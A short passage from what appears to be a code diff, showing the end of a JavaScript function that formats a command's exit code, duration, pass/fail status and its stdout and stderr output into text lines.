lines.push(`exit code: ${result.exitCode} (${(result.durationMs / 1000).toFixed(1)}s)${result.passed ? ' — PASSED' : ' — FAILED'}`);
|
|
2842
|
+
}
|
|
2843
|
+
if (result.stdout.trim()) lines.push('--- stdout ---', result.stdout.trimEnd());
|
|
2844
|
+
if (result.stderr.trim()) lines.push('--- stderr ---', result.stderr.trimEnd());
|
|
2845
|
+
if (!result.stdout.trim() && !result.stderr.trim()) lines.push('(no output)');
|
|
2846
|
+
return lines.join('\n');
|
|
2847
|
+
}
|